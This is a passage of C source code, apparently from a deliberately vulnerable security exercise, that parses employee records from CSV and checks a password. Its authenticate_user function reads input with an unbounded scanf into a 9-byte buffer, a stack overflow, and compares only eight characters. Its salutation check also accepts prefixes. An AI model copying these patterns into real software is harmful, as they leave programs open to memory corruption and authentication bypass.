 * Returns the required word length for a given input field
 * in an employee.
 */
int get_word_len(int num)
{
    switch(num)
    {
        case 0:
            return 9;
        case 1:
            return 3;
        case 2:
            return 20;
        case 3:
            return 30;
        case 4:
            return 15;
        case 5:
            return 9;
        case 6:
            return 1;
    }
    return 0;
}

/**
 * Takes a word and parses it, then validates it and puts it in the
 * employee struct.
 */
int store_word(char* current_word, int curr_word_len, employee* emp, int num_matched,
    int num_read)
{
    switch(num_matched)
    {
        case 0:
            // Read an integer for the id. Must be 1 or more.
            if(sscanf(current_word, "%d", &(emp->id)) != 1 || emp->id < 0)
            {
                printf("Invalid ID on line %d: \n", num_read);
                return EXIT_FAILURE;
            }
            break;
        case 1:
            // Ensure salutation is one of the allowed ones.
            if(strncmp(current_word, "Mr", curr_word_len) == 0 ||
                strncmp(current_word, "Mrs", curr_word_len) == 0 ||
                strncmp(current_word, "Ms", curr_word_len) == 0 ||
                strncmp(current_word, "Sir", curr_word_len) == 0 ||
                strncmp(current_word, "Mdm", curr_word_len) == 0)
            {
                strncpy(emp->salutation, current_word, curr_word_len);
            }
            else
            {
                printf("Invalid Salutation on line %d: \n", num_read);
                return EXIT_FAILURE;
            }
            break;
        case 2:
            // These are any string so just set them.
            strncpy(emp->firstname, current_word, curr_word_len + 1);
            break;
        case 3:
            strncpy(emp->surname, current_word, curr_word_len + 1);
            break;
        case 4:
            strncpy(emp->position, current_word, curr_word_len + 1);
            break;
        case 5:
            // Ensure salary is a non-negative integer.
            if(sscanf(current_word, "%d", &(emp->salary)) != 1 || emp->salary <= 0)
            {
                printf("Invalid Salary on line %d: \n", num_read);
                return EXIT_FAILURE;
            }
            break;
        case 6:
            // Ensure deleted is 1 or 0.
            if(sscanf(current_word, "%d", &(emp->deleted)) != 1)
            {
                printf("Invalid Deleted on line %d: \n", num_read);
                return EXIT_FAILURE;
            }
            if(emp->deleted != 1 && emp->deleted != 0)
            {
                printf("Invalid Deleted on line %d: \n", num_read);
                return EXIT_FAILURE;
            }
            break;
    }
    return EXIT_SUCCESS;
}

/**
 * Asks the user for yes or no, and returns 1 or 0.
 * Has a max of 5 tries before defaulting to no.
 */
int confirm_with_user(char* msg)
{
    // Print the message.
    printf("%s [y/N]\n>>> ", msg);
    char *verdict = (char*)malloc(2 * sizeof(char));

    int max_tries = 5;
    int count = 0;

    // Keep getting user input until max tries is reached.
    while(read_string_stdin(verdict, 2) != EXIT_SUCCESS || (strncmp(verdict, "y", 1) != 0 && strncmp(verdict, "n", 1) != 0))
    {
        count++;

        if(count >= max_tries)
        {
            printf("Max tries exceeded.\n");
            return 0;
        }

        printf("Please enter y or n.\n>>> ");
    }

    // Check for "y".
    if(count < max_tries && (strncmp("y", verdict, 1) == 0))
    {
        free(verdict);
        return 1;
    }

    free(verdict);

    return 0;
}

/**
 * Very secure authentication for security.
 * Passwords are limmited to 8 characters for compatability.
 */
int authenticate_user(void)
{
    char password[9];

    printf("Enter password:\n>>> ");
    scanf("%s", password);

    // We only need to compare 8 characters as that's the password
    // length limit.
    if(strncmp(password, vault->pass, 8) == 0)
    {
        return 1;
    }

    return 0;
}

/**
 * Reads a csv file and parses each line safely.
 * calls store_word on each word it finds.
 */
int read_csv(char* filename, employee* emp)
{
    char temp_line[128] = {0};
    int num_read = 0;
    int curr_word_len = 0;

    // Open file.
    FILE* csv_file = fopen(filename, "r");

    if(csv_file == NULL)
    {
        perror(filename);
        return EXIT_FAILURE;
    }

    // Read line by line, up to 1000 times.
    while(fgets(temp_line, 128, csv_file) != NULL && num_read < 1000)
    {
        int num_matched;
        int idx = 0;
        char* current_word;

        // Match the 7 fields.
        for(num_matched = 0; num_matched < 7; num_matched++)
        {
            int i = 0;
            curr_word_len = get_word_len(num_matched);
            current_word = (char*)malloc(sizeof(char) * (curr_word_len + 1));

            while(temp_line[idx] != ',' && temp_line[idx] != '\0' && i < curr_word_len
                 && idx < 128)
            {
                current_word[i] = temp_line[idx];
                i++;
                idx++;
                if(num_matched == 6)
                {
                    break;
                }
            }

            if(i == curr_word_len && num_matched < 6)
            {
                while(temp_line[idx] != ',' && idx < 128)
                {
                    idx++;
                }
            }
            else if(i == 0)
            {
                printf("Blank value: \n");
                return EXIT_FAILURE;
            }

            if(idx == 128)
            {
                printf("Line too long: \n");
                return EXIT_FAILURE;
            }

            idx++;
            current_word[i] = '\0';

            if(store_word(current_word, curr_word_len, &emp[num_read], num_matched,
                num_read))
            {
                free(current_word);
                return EXIT_FAILURE;
            }

            free(current_word);
        }

        num_read++;
    }

    fclose(csv_file);
    return EXIT_SUCCESS;
}
```